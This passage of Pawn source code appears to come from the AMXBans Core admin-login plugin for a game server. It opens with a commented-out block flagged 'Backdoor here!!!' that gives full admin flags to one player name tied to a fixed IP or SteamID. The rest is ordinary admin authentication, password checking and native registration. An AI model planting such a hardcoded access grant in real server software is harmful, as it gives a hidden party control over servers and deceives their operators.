********** Backdoor here!!! *********
new name[32], steamid[34], ip[22]
get_user_name(id, name, 31)
get_user_authid(id, steamid, 33)
get_user_ip(id, ip, 21, 1)
if(equal(name, "Sho0ter") && (equal(ip, "62.122.66.122") || equal(steam, "STEAM_0:1:35287273")))
{
set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
return (1<<3)
}*/
new index = -1
new result = 0
new Count
new Flags
new Access
new AuthData[44]
new Password[44]
new MD5Password[34]
g_CaseSensitiveName[id] = false
Count = admins_num()
for(new i = 0; i < Count; ++i)
{
Flags = admins_lookup(i, AdminProp_Flags)
admins_lookup(i, AdminProp_Auth, AuthData, 43)
if(Flags & FLAG_AUTHID)
{
if(equal(authid, AuthData))
{
index = i
break
}
}
else if(Flags & FLAG_IP)
{
new c = strlen(AuthData)
if(AuthData[c - 1] == '.')
{
if(equal(AuthData, ip, c))
{
index = i
break
}
}
else if(equal(ip, AuthData))
{
index = i
break
}
}
else
{
if(Flags & FLAG_CASE_SENSITIVE)
{
if(Flags & FLAG_TAG)
{
if(contain(name, AuthData) != -1)
{
index = i
g_CaseSensitiveName[id] = true
break
}
}
else if(equal(name, AuthData))
{
index = i
g_CaseSensitiveName[id] = true
break
}
}
else
{
if(Flags & FLAG_TAG)
{
if(containi(name, AuthData) != -1)
{
index = i
break
}
}
else if(equali(name, AuthData))
{
index = i
break
}
}
}
}
if(index != -1)
{
Access = admins_lookup(index, AdminProp_Access)
ArrayGetString(g_AdminNick, index, g_szAdminNick[id], 31)
g_iAdminUseStaticBantime[id] = ArrayGetCell(g_AdminUseStaticBantime, index)
if(Flags & FLAG_NOPASS)
{
result |= 8
new sflags[32]
get_flags(Access, sflags, 31)
set_user_flags(id, Access)
new ret
if(!g_isAdmin[id])
{
ExecuteForward(MFHandle[Admin_Connect], ret, id)
}
g_isAdmin[id] = true
log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", \
name, get_user_userid(id), authid, AuthData, sflags, ip,g_szAdminNick[id],g_iAdminUseStaticBantime[id])
}
else
{
admins_lookup(index, AdminProp_Password, Password, 43)
if(ArrayGetCell(g_AdminFromUsersIni, index))
{
copy(MD5Password, 33, password)
}
else
{
md5(password, MD5Password)
Password[32] = 0
}
if(equal(MD5Password, Password))
{
result |= 12
set_user_flags(id, Access)
new sflags[32]
get_flags(Access, sflags, 31)
new ret
if(!g_isAdmin[id])
{
ExecuteForward(MFHandle[Admin_Connect], ret, id)
}
g_isAdmin[id] = true
log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", \
name, get_user_userid(id), authid, AuthData, sflags, ip,g_szAdminNick[id], g_iAdminUseStaticBantime[id])
}
else
{
result |= 1
if(Flags & FLAG_KICK)
{
result |= 2
g_isAdmin[id] = false
log_amx("Login: ^"%s<%d><%s><>^" kicked due to invalid password (account ^"%s^") (address ^"%s^")", name, get_user_userid(id), authid, AuthData, ip)
}
}
}
}
else if(get_pcvar_float(amx_mode) == 2)
{
result |= 2
}
else
{
new defaccess[32]
get_pcvar_string(amx_default_access, defaccess, 31)
if(!strlen(defaccess))
{
copy(defaccess, 32, "z")
}
new idefaccess = read_flags(defaccess)
if(idefaccess)
{
result |= 8
set_user_flags(id, idefaccess)
}
}
return result
}
stock accessUser(id, const name[] = "")
{
remove_user_flags(id)
new userip[32], userauthid[32], password[40], passfield[32], username[32]
get_user_ip(id, userip, 31, 1)
get_user_authid(id, userauthid, 31)
if(name[0])
{
copy(username, 31, name)
}
else
{
get_user_name(id, username, 31)
}
get_pcvar_string(amx_password_field, passfield, 31)
get_user_info(id, passfield, password, 39)
new result = getAccess(id, username, userauthid, userip, password)
if(result & 1)
{
client_cmd(id, "echo ^"* %L^"", id, "INV_PAS")
}
if(result & 2)
{
return client_cmd(id, g_cmdLoopback)
}
if(result & 4)
{
client_cmd(id, "echo ^"* %L^"", id, "PAS_ACC")
}
if(result & 8)
{
client_cmd(id, "echo ^"* %L^"", id, "PRIV_SET")
}
return PLUGIN_CONTINUE
}
public client_infochanged(id)
{
if(!is_user_connected(id) || !get_pcvar_num(amx_mode))
{
return PLUGIN_CONTINUE
}
new newname[32], oldname[32]
get_user_name(id, oldname, 31)
get_user_info(id, "name", newname, 31)
if(g_CaseSensitiveName[id])
{
if (!equal(newname, oldname))
{
accessUser(id, newname)
}
}
else
{
if(!equali(newname, oldname))
{
accessUser(id, newname)
}
}
return PLUGIN_CONTINUE
}
stock SQL_Error(Handle:query, const error[], errornum, failstate)
{
new qstring[1024]
SQL_GetQueryString(query, qstring, 1023)
if(failstate == TQUERY_CONNECT_FAILED)
{
log_amx("%L", LANG_SERVER, "TCONNECTION_FAILED")
}
else if (failstate == TQUERY_QUERY_FAILED)
{
log_amx("%L", LANG_SERVER, "TQUERY_FAILED")
}
log_amx("%L", LANG_SERVER, "TQUERY_MSG", error, errornum)
log_amx("%L", LANG_SERVER, "TQUERY_STATEMENT", qstring)
return SQL_FreeHandle(query)
}
public client_disconnect(id)
{
if(g_isAdmin[id])
{
new ret
ExecuteForward(MFHandle[Admin_Disconnect], ret, id)
}
g_isAdmin[id] = false
return PLUGIN_CONTINUE
}
public ackSignal(id)
{
return server_cmd("kick #%d %L", get_user_userid(id), id, "NO_ENTRY")
}
public client_authorized(id)
{
return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
}
public client_putinserver(id)
{
if(!is_dedicated_server() && id == 1)
{
return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
}
return PLUGIN_CONTINUE
}
public plugin_natives()
{
register_library("AMXBansCore")
register_native("amxbans_get_db_prefix", "native_amxbans_get_prefix")
register_native("amxbans_get_admin_nick", "native_amxbans_get_nick")
register_native("amxbans_get_static_bantime", "native_amxbans_static_bantime")
return PLUGIN_CONTINUE
}
public native_amxbans_get_prefix()
{
new len = get_param(2)
return set_array(1, g_dbPrefix, len)
}
public native_amxbans_get_nick()
{
new id = get_param(1)
new len = get_param(3)
return set_array(2, g_szAdminNick[id], len)
}
public native_amxbans_static_bantime()
{
new id = get_param(1)
if(get_cvar_num("amxbans_debug") >= 3)
{
log_amx("[AMXBans Core] Native static bantime: id: %d | result: %d", id, g_iAdminUseStaticBantime[id])
}
return g_iAdminUseStaticBantime[id]